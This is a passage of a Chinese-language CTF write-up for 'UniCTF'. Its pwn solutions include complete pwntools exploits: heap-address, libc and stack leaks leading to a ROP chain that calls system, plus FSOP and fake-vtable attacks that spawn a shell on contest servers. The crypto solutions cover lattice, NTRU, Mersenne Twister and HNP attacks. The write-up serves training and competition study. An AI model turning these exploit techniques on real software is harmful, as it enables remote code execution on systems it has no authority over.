#print(response.decode())
return response
def modify_post(io, post_id, new_content):
id_str = post_id
payload = p8(0x05)
payload += p16(len(id_str)) + id_str
payload += p16(len(new_content)) + new_content
io.send(payload)
response = io.recvline()
#print(response.decode())
return response
def pad(io, size):
io.sendline(cyclic(size))
response = io.recvline()
#print(response.decode())
io = remote(HOST, PORT)
pad(io, 0x300)
pad(io, 0x600)
io.recv()
io.recv()
create_post(io, b'a'*0x310, b'b', b'c', b'd', b'e'*0x4c7) # 1
payload = b'd' + p64(0x201)#slpdsocket
payload = payload.ljust(0x160, b'\x00')
create_post(io, b'a', b'b', b'c'*(0x17-2), payload, b'e'*0x27) # 2
payload = b'd' + p64(0x211)#sendbuf
payload = payload.ljust(0x160, b'\x00')
create_post(io, b'a', b'b', b'c'*(0x17-2), payload, b'e'*0x310) # 3
payload = b'd' + p64(0x221)#recvbuf
payload = payload.ljust(0x160, b'\x00')
create_post(io, b'a', b'b', b'c'*(0x17-2), payload, b'e'*0x310) # 4
create_post(io, b'a'*0x500, b'b', b'c', b'd', b'e') # 5
delete_post(io, b'2'+b'\x00'*120)
delete_post(io, b'3'+b'\x00'*120)
delete_post(io, b'4'+b'\x00'*120)
io1 = remote(HOST, PORT)
# sendbuf leak heap_addr
for i in range(7):
payload = b'a'*(0x178-i)
payload = payload.ljust(0x210-0x10, b'\x00')
delete_post(io, payload)
payload = b'a'*0x170 + p64(0x301)
payload = payload.ljust(0x210-0x10, b'\x00')
delete_post(io, payload)
#slpdsocket
payload = b'a'*0x170 + p64(0x2)
payload = payload.ljust(0x200-0x10, b'\x00')
delete_post(io, payload)
io1.recvuntil(b"\x01\x03\x00\x00\x00\x00\x00\x00")
io1.recv(8)
heap_addr = u64(io1.recv(8)) + 0x878
print(f"heap_addr:{hex(heap_addr)}")
delete_post(io, b'5'+b'\x00'*120)
#sendbuf leak libc_addr
payload = b'a'*0x180 + p64(heap_addr+0x8)
payload = payload.ljust(0x210-0x10, b'\x00')
delete_post(io, payload)
for i in range(4):
payload = b'a'*(0x180-1-i)
payload = payload.ljust(0x210-0x10, b'\x00')
delete_post(io, payload)
payload = b'a'*0x178 + p64(heap_addr)
payload = payload.ljust(0x210-0x10, b'\x00')
delete_post(io, payload)
for i in range(6):
payload = b'a'*(0x177-i)
payload = payload.ljust(0x210-0x10, b'\x00')
delete_post(io, payload)
payload = b'a'*0x170 + p64(0x301)
payload = payload.ljust(0x210-0x10, b'\x00')
delete_post(io, payload)
#slpdsocket
payload = b'a'*0x170 + p64(0x2)
payload = payload.ljust(0x200-0x10, b'\x00')
delete_post(io, payload)
libc = ELF("/usr/lib/x86_64-linux-gnu/libc.so.6")
libc_addr = u64(io1.recv(8)) - 96 - 0x1e7ac0#main_arena-offset
print(f"libc_addr:{hex(libc_addr)}")
#sendbuf leak stack_addr
environ = libc_addr + libc.sym["environ"]
payload = b'a'*0x180 + p64(environ+0x8)
payload = payload.ljust(0x210-0x10, b'\x00')
delete_post(io, payload)
for i in range(4):
payload = b'a'*(0x180-1-i)
payload = payload.ljust(0x210-0x10, b'\x00')
delete_post(io, payload)
payload = b'a'*0x178 + p64(environ)
payload = payload.ljust(0x210-0x10, b'\x00')
delete_post(io, payload)
for i in range(6):
payload = b'a'*(0x177-i)
payload = payload.ljust(0x210-0x10, b'\x00')
delete_post(io, payload)
payload = b'a'*0x170 + p64(0x301)
payload = payload.ljust(0x210-0x10, b'\x00')
delete_post(io, payload)
#slpdsocket
payload = b'a'*0x170 + p64(0x2)
payload = payload.ljust(0x200-0x10, b'\x00')
delete_post(io, payload)
stack_addr = u64(io1.recv(8)) - 0x310 #handle_command_ret_Stack_addr
print(f"stack_addr:{hex(stack_addr)}")
#recvbuf hijack
payload = b'a'*0x180 + p64(stack_addr+0x100)
payload = payload.ljust(0x220-0x10, b'\x00')
delete_post(io, payload)
for i in range(4):
payload = b'a'*(0x180-1-i)
payload = payload.ljust(0x220-0x10, b'\x00')
delete_post(io, payload)
payload = b'a'*0x178 + p64(stack_addr)
payload = payload.ljust(0x220-0x10, b'\x00')
delete_post(io, payload)
for i in range(6):
payload = b'a'*(0x177-i)
payload = payload.ljust(0x220-0x10, b'\x00')
delete_post(io, payload)
payload = b'a'*0x170 + p64(0x301)
payload = payload.ljust(0x220-0x10, b'\x00')
delete_post(io, payload)
system = libc_addr + libc.sym["system"]
rdi = libc_addr + next(libc.search(asm("pop rdi ; ret", arch = "amd64")))
payload = p64(rdi) + p64(stack_addr+0x20) + p64(rdi+1) + p64(system)
payload+= b"cat /flag >& 5\x00"
io1.sendline(payload)
io1.interactive()简单的pwn
exp如下:
from pwn import *
s = lambda x : io.send(x)
sl = lambda x : io.sendline(x)
r = lambda x : io.recv(x)
ru = lambda x : io.recvuntil(x)
rl = lambda : io.recvline()
itr = lambda : io.interactive()
uu32 = lambda x : u32(x.ljust(4,b'\x00'))
uu64 = lambda x : u64(x.ljust(8,b'\x00'))
ls = lambda x : log.success(x)
lss = lambda x : ls('\033[1;31;40m%s -> 0x%x \033[0m' % (x, eval(x)))
libc = ELF('./libc.so.6')
#io = process('./pwn_ez_AARW')
io = remote('nc1.ctfplus.cn',12715)
context.arch = 'amd64'
s(p64(0xc9))
libc_base = (uu64(r(5)) << 0x8) - 0x29d00
lss('libc_base')
libc.address = libc_base
addr = libc.sym['_IO_2_1_stdout_']
s(p64(addr))
ptr1 = libc.sym['environ']
ptr2 = ptr1 + 8
system = libc.sym['system']
system = libc_base + 0x52c92
gadget1 = libc_base + 0x000000000009afe7 # mov rdi, qword ptr [rax + 8] ; call qword ptr [rax]
stdout = addr
pay = flat({
0x00: 0x8800 | 0x1000,
0x20: ptr1,
0x28: ptr2,
0x30: 0xbeefbeef,
0x40: 0,
0x48: system,
0x50:p64(next(libc.search(b'/bin/sh'))),
0x70: 1, # _fileno
0x68: stdout-0x40, # _chain
0x78:p64(0xbeef),
0xC0-0x40:1,
0xa0-0x40:stdout-0x28,
0xe0-0x28:stdout+0x48,
0xe0:0xbeef,
0x48+0x68:p64(gadget1),
0xd8-0x40: libc.sym['_IO_wfile_jumps'], # vtable
}, filler=b"\x00")
#gdb.attach(io)
s(pay[:0xC0])
itr()
EZIO
from花舞战队
题目提示打法,IDA 分析得 buf 为file型变量fp最终传 close 入参伪造io结构绕过 fclose 检查看lock 和 vtable 校验
from pwn import *
# context(os='linux', arch='amd64', log_level='debug')
# 加载二进制文件与libc
elf = ELF('EzIO')
libc = ELF('2.23-0ubuntu11.3_amd64/libc-2.23.so')
# p = process('./2.23-ubuntu11.3_amd64/IO')
p = remote('nc1.ctfplus.cn', 19300)
# 彩色输出装饰函数(未实际使用)
def xilker(x, code=95):
return f"\x1b[{code}m{x}\x1b[0m"
# 关键地址定义
buf_addr = 0x404060 # 伪造IO结构的基地址
shell = 0x4011ce # shellcode/后门函数地址
# 构造伪造IO结构的payload
payload = b''
# IO_FILE头部标志位,绕过fclose基础检查
payload += p64(0xfbad2488)
# 填充到_lock偏移0x88
payload += b'\x00' * 0x80
fake_lock_addr = buf_addr + 0x100
payload += p64(fake_lock_addr)
payload += b'\x00' * 0x48
fake_vtable_addr = buf_addr + 0x120
payload += p64(fake_vtable_addr)
padding_len = 0x100 - len(payload)
payload += b'\x00' * padding_len
# 伪造_lock区域:填充0满足锁检查
payload += b'\x00' * 0x20
# 伪造vtable前的填充,覆盖无关虚表项
payload += p64(0) * 0x11
# 虚表关键项覆盖为shell地址,fclose调用时执行
payload += p64(shell)
# gdb.attach(p, 'b *0x4011B8') # 调试断点(注释)
p.send(payload)
p.interactive()Crypto
subgroup_gorilla
一个关于热带半环的题,如果去搜索paper的话,可以发现一个这个https://eprint.iacr.org/2025/2062.pdf
然后可以发现和这个题目的流程比较类似,而关于本体的多方协议其实是https://www.researchgate.net/publication/387960284_Multi-party_key_exchange_scheme_based_on_supertropical_semiring 然后如果根据paper的方式分析的话,其实就可以恢复出私钥了。
但是实际看来直接使用ai就可以解决本题了
subgroup_Inquisitor
直接抄redbud的wp了(懒
给了个 $$ x=p\oplus q$$ 的密文 y,还给了一个 oracle,可以返回解密后的低 8 位,但是是以一个 hnp 的形式给出的。
这部分很简单,简单构造个格就能还原出来。每次给低八位的话,由于我们可以解密 $$ y\times k^e$$,这样可以得到任意 $$ x\times k$$ 的低八位。我们要求 $$\lfloor\frac{x}{256^i}\rfloor \bmod 256$$,可以询问出 $$x, x \times 256^{-1}, x \times 256^{-2}, \cdots$$ 的低八位,每次把零碎的减掉就行,可以还原出 x 的低一半位。
知道 $$ x=p\oplus q$$ 后,可以逐位还原 p, q,具体的就是维护一个 $$pq \equiv n \pmod {2^c}$$ 的 $$(p, q)$$ set,每次新加一位维护新的满足的部分,由于给了 p, q 的异或和,可能的 p, q 很少。
然后就是知道 p,q 低位,直接用 coppersmith 就可以分解了。
subgroup_Scribe
直接抄redbud的wp了(懒
首先 sbox 的循环节太短了,只有 128,所以加密 129 块即可得到两个 key 完全相同的块。
下面就是要想办法使得两个不同的明文加密后能看出来关联。这里使用的两个初始状态为 [0, 0, 0, 0] 和 [1, 1, 1, 0]。
[0, 0, 0, 0] 的密文为:$$[C_1=T(k_1), C_2 = T(C_1 \oplus k_2), C_3 = T(C_1 \oplus C_2 \oplus k_3), C_4 = T(C_1 \oplus C_2 \oplus C_3 \oplus C_4 \oplus k_4)]$$
[1, 1, 1, 0] 的密文为:$$[1 \oplus C_1, 1 \oplus C_2, 1 \oplus C_3, T(C_1 \oplus C_2 \oplus C_3 \oplus C_4 \oplus k_4 \oplus 1)]$$
这两者的密文最后只差 T 中的一个 $$ \oplus 1$$,而由于 T 对于 sbox 后的内容是线性的,sbox 只有低 1 byte 会改变,所以只有可能有 256 种变化,直接将这 256 种变化存到一个 list 里,将两个密文异或看是不是在这里面就可以了。
subgroup_Weaver
注意到otp的0、1分布不均,做一个统计分析一下就好了。
subgroup_lattice
from random import *
from Crypto.Util.number import *
from secret import C
import os
# import pty
flag = os.getenv('FLAG', 'flag{test}')
class PRNG:
def __init__(self, state):
self.mask = 2147483647
self.state = [s & self.mask for s in state]
def next(self):
tmp = 0
for i in range(len(self.state)):
tmp = (tmp + self.state[i] * C[i]) % self.mask
self.state = self.state[1:] + [tmp]
return tmp
def getrandbits(self, k):
return self.next() >> (self.mask.bit_length() - k)
banner = """===FLAG MANAGEMENT SYSTEM===
[1] Get Flag
[2] Get Hint
[3] Exit
"""
if __name__ == "__main__":
s = [getrandbits(30) for _ in range(16)]
prng = PRNG(s)
try:
while True:
op = input(banner + ">>> ")
if op == "1":
ans = int(input("Please enter the answer: "))
if ans == sum(s):
print("Congratulations, this is your flag:", flag)
else:
print("Unfortunately, the answer is incorrect...")
break
elif op == "2":
hint = prng.getrandbits(17)
print(f"Here is your hint: {hint}")
elif op == "3":
print("Goodbye!")
break
else:
print("NO!")
except:
print("Something wrong...")
exit(0)一个模数$$$$已知但是参数$$$$未知的截断$$\mathbb{Z}/(m)-\text{LFSR}$$,这道题是基于An Improved Method for Predicting Truncated Fibonacci LFSRs over Integer Residue Rings这篇论文出的(甚至参数都懒得改),格也比较好造,只需要收集141组hint的输出$$a_0,a_1,\cdots,a_{140$$,之后造格:
$$\left(\begin{matrix} m&&&&&&&&\\ &m&&&&&&&\\ &&\ddots&&&&&&\\ &&&m&&&&&\\ Ka_0&Ka_1&\cdots&Ka_{t-1}&K&&&\\ Ka_1&Ka_2&\cdots&Ka_{t}&&K&&\\ \vdots&\vdots&&\vdots&&&\ddots&\\ Ka_{r-1}&Ka_{r}&\cdots&Ka_{140}&&&&K\\ \end{matrix}\right)$$
其中$$K=2^{14},r=t=71$$,规约之后可以得到若干条短向量,取前$$s(s\ge 2)$$个短向量的前$$$$个分量除以$$$$之后构造$$\mathbb{Z}_$$下的多项式$$p_1,p_2,\cdots,p_s$$,再对这$$$$个多项式求gcd就可以得到一个度为16的不可约多项式了,这个不可约多项式的形式如下:
$$f(x)=x^{16}-(c_0+c_1x+c_2x^2+\cdots+c_{15}x^{15})$$
其中$$c_0,c_1,\cdots,c_{15$$就是代码中PRNG递推所用到的系数,之后可以通过多元Copper Smith类似的方法恢复PRNG的状态,从而恢复出种子了:
from pwn import *
from sage.all import *
from tqdm import *
from cuso import find_small_roots
from Crypto.Util.number import *
m = 2147483647
n = 16
alpha = 17
beta = 14
K = 2**beta
r = 71
t = 71
N = 141
io = remote('nc1.ctfplus.cn', ...)
hints = []
for _ in trange(N):
io.sendlineafter(b'>>> ', b'2')
io.recvuntil(b'hint: ')
tmp = int(io.recvline().strip())
hints.append(tmp)
L = Matrix(ZZ, t + r, t + r)
for i in range(t):
L[i, i] = m
for i in range(r):
Y = hints[i : i + t]
for j in range(t):
L[t + i, j] = K * Y[j]
L[t + i, t + i] = K
res = L.BKZ(block_size=20)
R = GF(m)['x']
candidates = []
for v in res:
if v.norm() == 0:
continue
coeffs = []
is_valid = True
for k in range(r):
coeffs.append(v[t + k] // K)
if is_valid:
try:
poly = R(coeffs)
d = poly.degree()
if d >= n:
candidates.append(poly)
except:
pass
if len(candidates) >= 10:
break
F = candidates[0]
for p in candidates[1:]:
tmp = gcd(F, p)
if tmp.degree() >= n:
F = tmp
F = F.monic()
# print(F)
assert F.is_primitive() and F.degree() == n
C = [int(c) for c in (-F).coefficients(sparse=False)[:-1]]
l = [var(f'l{i}') for i in range(2*n)]
xs = [2**14 * hints[i] + l[i] for i in range(2*n)]
relations = []
for i in range(n):
f = 0
for j in range(n):
f += C[j] * xs[i + j]
f -= xs[i + n]
relations.append(f)
bounds = {l[i]: (0, 2**14) for i in range(2*n)}
sols = find_small_roots(relations, bounds=bounds, modulus=m)
state = [2**14 * hints[i] + sols[0][l[i]] for i in range(n)]
for i in range(n):
tmp = state[-1]
for j in range(n-1):
tmp = (tmp - C[j+1] * state[j]) % m
tmp = tmp * inverse(C[0], m) % m
state = [tmp] + state[:-1]
ans = sum(state)
io.sendlineafter(b'>>> ', b'1')
io.sendlineafter(b'Please enter the answer: ', str(ans).encode())
io.interactive()subgroup_dlp
分解n,p-adic ,最后再爆破几位就可以了
2^5 * 3^2 * 10711086940911733573 * 188455199626845780197**3 * 988854958862525695246052320176260067587096611000882853771819829938377275059
#找出几个大数,之后crt
k = [(10711086940911733573,1),(188455199626845780197,3),(988854958862525695246052320176260067587096611000882853771819829938377275059,1)]from Crypto.Util.number import *
from sage.all import *
c = 8195229101228793312160531614487746122056220479081491148455134171051226604632289610379779462628287749120056961207013231802759766535835599450864667728106141697
k = [(10711086940911733573,1),(188455199626845780197,3),(988854958862525695246052320176260067587096611000882853771819829938377275059,1)]
ps = []
ord_p = []
for p,exp in k:
Fp = GF(p)
ord = discrete_log(Fp(c), Fp(7))
g = Fp(7)
order = g.multiplicative_order()
ps.append(order)
ord_p.append(ord)
if exp != 1:
R = Zp(p, prec=exp)
xa1 = (R(c).log() / R(7).log()).lift()
ps.append(p**2)
ord_p.append(xa1)
x = crt(ord_p, ps)
l = 1
for i in ps:
l = lcm(l,i)
for i in range(2**10):
x = x + i * l
flag = long_to_bytes(x)
# print(x.bit_length())
if b'UniCTF{' in flag:
print(x.bit_length())
print(flag)NTRU
NTRU加密公式c = rh + m (mod q, x^N-1)得到:m = (c - rh) mod q
根据提示,r的稀疏特性爆出所有可能的r,验证m是否是flag。
import itertools
N = 31
p = 257
q = 12289
h = [9603, 11838, 1242, 5868, 12249, 3130, 3722, 5910, 5879, 7672, 1119, 339, 10748, 7310, 6370, 9353, 10589, 10739, 10213, 2560, 5132, 4889, 11292, 2649, 2556, 8037, 3146, 9533, 11563, 1554, 304]
c = [91, 11459, 932, 4345, 12153, 9504, 5147, 7268, 2493, 8891, 8712, 5785, 11608, 7683, 11327, 8453, 10380, 6004, 7849, 1622, 6154, 10369, 10278, 769, 11676, 11492, 4564, 5445, 10909, 11502, 12216]
t = [ord(c) for c in "UniCTF{"]
def mul(s, d, mod, n):
res = [0]*n
for i in range(n):
if s[i] != 0:
for j in range(n):
k = (i+j)%n
res[k] = (res[k] + s[i]*d[j]) % mod
return res
inds = list(range(N))
combs = itertools.combinations(inds, 4)
for pos in combs:
for signs in itertools.product([1,-1], repeat=4):
r = [0]*N
for i, s in zip(pos, signs):
r[i] = s
rh = mul(r, h, q, N)
m = [(ci - rhi) % q for ci, rhi in zip(c, rh)]
ma = [coeff - q if coeff > q//2 else coeff for coeff in m]
match = True
for i in range(len(t)):
if i >= len(ma) or ma[i] != t[i]:
match = False
break
if match:
b = bytes([x for x in ma if 0<=x<=255])
print(b.decode('ascii'))subgroup_spirit
Subgroup_Choreographer
加密算法取自nist pqc-dig-sig round1的一个被淘汰的密码算法https://github.com/dannyniu/xifrat,相比之下我们修改了一下它的quasigroup。实际上根据https://eprint.iacr.org/2021/583.pdf 我们可以把这个quasigroup的乘法运算x*y写作 C+Ax+By,其中A、B是自同构的,所以这个算法里面的所有运算都可以变成线性的然后解一个方程组的事情就好了。然后本题中的quasigroup是和$${F_4}^2$$同构的。 但是实际上你直接丢给ai好像也可以秒了。
subgroup_MT19937
爆破几位,可以保证知道0-11,227-238,就能恢复seed
from CTF_Library.Cryptography.MersenneTwister import python_random_breaker
import random
import itertools
from sage.all import *
outputs = [633719237, 17296393461392712884, 2729402561, 1006435218, 5347906016802498750, 2641289731, 394521109, 16202623786516081725, 2887450454, 673432407, 17415531378123973366, 2906722483, 891362026, 12484157007105072866, 1372488110, 516169017, 12956460107060697145, 1128880427, 872720724, 13912728298091190551, 2141671640, 296444257, 16224793223236281263, 1416730702, 253987892, 15935047531832532695, 616368744, 821800863, 12045004794188751259, 3284660692, 426322313, 8001205610301432203, 4238558347, 568005430, 8143449657523815442, 1527987078, 197119842, 9948489878708074340, 2111615399, 739262478, 4493631307275911140, 1580337225, 255569151, 700930075796908951, 1032827877, 734314292, 2854593844568283873, 1522900360, 1030392917, 9067645866040684255, 2176329521, 1026738863, 6972618127397136068, 3916007126, 410764592, 658826913645191387, 2743545699, 500848189, 10810124185328811093, 1404236960, 40209274, 6416426844776513095, 3078096649, 703459769, 17164536364426758098, 4181897428, 37617524, 10123855627096251347, 3888666691, 472500916, 7893086491803196558, 1011311897, 357000692, 17089727905092255433, 170510248, 281838271, 968170269780363365, 3793259149, 124812063, 18123618883690308513, 3532442270, 455883883, 12366758603478883228, 896195186, 628421822, 17910311011476667596, 2739288845, 441493564, 15255370896906042429, 2472227046, 143801173, 17406315013171843034, 2720395771, 574436257, 10885897595543621623, 4230165172, 486885472, 5964180114425579510, 1815760698, 417262730, 14733347761553835307, 368608880, 1022217081, 13084067580690423234, 443684071, 623864229, 17171633783559226381, 398003671, 960292740, 9838081004631111094, 799045152, 916066798, 6912210281985595727, 1356391431, 974341415, 3429250774430951727, 3757470168, 721550581, 6167668531916928184, 54813224, 684389822, 1673599056568894870, 148586836, 527572276, 6988164039473797066, 2333712799, 697906207, 10997398800107404425, 4051152123, 656498563, 6229920532557186563, 757520223, 126587282, 2130732191724278203, 1099275741, 562325288, 9236801444070492525, 84615396, 25237295, 6450144121009487113, 298083311, 129137157, 4835452009781596645, 350490516, 471782331, 8129018340462939935, 3038916495, 256078018, 10299727196482069401, 3220723483, 781990709, 14424889126162099049, 3734415865, 422665510, 5723106157102173513, 529224802, 740438310, 9728186614110852957, 2210219269, 657182704, 14303734426856382447, 2754582841, 415352084, 6263649792854771423, 1082515466, 175963561, 467790002319747792, 4078990457, 862322342, 2987756291596558235, 1510928128, 957124997, 8534006470781249966, 1161920404, 628354052, 14833009669652972593, 2930459999, 945153110, 635825472977599221, 2520365142, 82359455, 8751900292623772976, 1166627489, 929845396, 5772425661060145018, 2566782242, 276555308, 10852977495743176283, 2879058831, 870031241, 16285896413505086860, 3400676906, 408625992, 3411199607692163971, 1020473011, 267875032, 15005095254613066133, 1316767254, 712603851, 9565433420331412112, 3860276591, 260680761, 11696102672719554931, 3300750690, 280360826, 10336048491927755147, 1185581489, 219336017, 14770059841548187168, 475209665, 202879498, 12014349870830300301, 3073695382, 442055773, 12655431302460212273, 3113638573, 946392948, 15321296423105853716, 3698491480, 111377720, 14989836291198904400, 612296926, 785310491, 647871534906908661, 3237451540, 473225450, 476785664918644069, 3389603082, 678412312, 14785655390887782002, 3159388100, 168687451, 4706495674140600526, 1425078263, 859954141, 1262321884757354438, 4123667128, 261089284, 1211771828572743190, 309762122, 839396734, 2955828442841315678, 4220099220, 190345632, 8222489847472310641, 2099738441, 439856259, 5758107464694755011, 3765680070, 294344404, 11664087582740181286, 1042907723, 320513525, 4173577738810232032, 3756803817, 18991625, 382826592851942064, 2237482919, 1001544296, 13661440468681331232, 2305698394, 1052539865, 11652968721980320061, 1103630788, 773175711, 10965071586645626186, 464245208, 456365285, 14203416326251218575, 2681724777, 22999419, 16485858857930265903, 2210984322, 384628663, 8819416352381864194, 4176644600, 436575568, 6696663884410632999, 173295634, 775039969, 15899413532923623153, 2840547084, 44784865, 5670011457670110268, 2227379515, 366802853, 18368396958485442855, 3412152652, 787023667, 5250335085064884410, 1761564219, 556776833, 4650150264035861883, 251067849, 884930863, 16356307450320543427, 3750682736, 738689267, 3319418910075602867, 598358016]
out = []
k = 0
for i in range(len(outputs)):
if i % 3 == 1:
low_32 = outputs[i] & 0xFFFFFFFF
high_32 = outputs[i] >> 32
out.append(low_32)
out.append(high_32)
else :
out.append(outputs[i])
outs = out[:11]+out[227:238]
processed_data = []
target_indices = []
for i, val in enumerate(outs):
if i < 11:
real_index = i
else:
real_index = i + 216
if real_index % 4 == 0:
bits = 30
target_indices.append(i)
for bits in itertools.product(range(4), repeat=len(target_indices)):
candidate_out = list(outs)
for idx, bit in zip(target_indices, bits):
candidate_out[idx] = (candidate_out[idx] << 2) + bit
try:
breaker = python_random_breaker()
print(hex(breaker.recover_all_integer_seeds_from_few_outputs(256, candidate_out, True)[0]))
except:
passSubgroup-Architect
revenge版本相比于原题只是把题目的交互次数从3001次改成了300次。
所以可以打revenge的exp也是可以直接打原题的。
我们可以发现这题就是实现了一个在projective Coordinates的Schnorr Signatures,实际上在正常的ECC算法中,一个点的投影坐标值是不可以被获取的,否则就会产生一定的泄露,详细可以参考https://eprint.iacr.org/2003/191
通过其的Z点,我们可以获取到k的部分低位bits。
但是实际分析发现如何k的低位是1的话,我们得到的泄露值有概率是错的,但是如果是0的话,就肯定是正确的。所以说实际上300次的交互,我们能够拿到的并不是很多。因此如果做传统的hnp格的话应该是打不出来的。(这也就是要上revenge的原因,之前上的时候忘记改交互次数了/(ㄒoㄒ)/~~)
我们需要去查询近些年的关于HNP的paper,可以查到https://eprint.iacr.org/2024/296.pdf,然后做一个复现就好了(不过似乎在RCTF2025就已经出现过相同的考点了)
评论